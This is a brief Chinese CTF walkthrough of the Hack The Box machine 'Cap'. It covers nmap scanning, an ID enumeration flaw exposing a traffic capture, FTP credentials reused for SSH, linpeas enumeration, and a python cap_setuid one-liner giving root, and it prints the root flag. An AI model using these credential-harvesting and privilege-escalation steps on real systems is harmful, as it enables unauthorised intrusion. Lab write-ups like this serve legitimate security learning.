CAP

连上openVPN,扫一下:

1
nmap -sV -sC -O -T4 10.129.13.189

打开网页,发现这里可以遍历ID:

image-20260325163728432

拿到一个流量包,全局搜ftp

image-20260325163622139

拿到账号密码直接登录进去

image-20260325164138359

然后拿到user.txt

image-20260325164202332

尝试密码复用,链接ssh成功。

image-20260325164600541

suid没什么可利用的

image-20260325164828216

尝试下载内网扫描工具或进行一些capabilities的利用。

1
https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

image-20260325170127741

发现能 cap_setuid,直接提权并拿下flag。

1
2
3
4
5
6
7
8
nathan@cap:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:~# ls
snap test.sh user.txt
root@cap:~# cd /root
root@cap:/root# ls
root.txt snap
root@cap:/root# cat root.txt
29f3131e6143f451c771c410c9fbdd2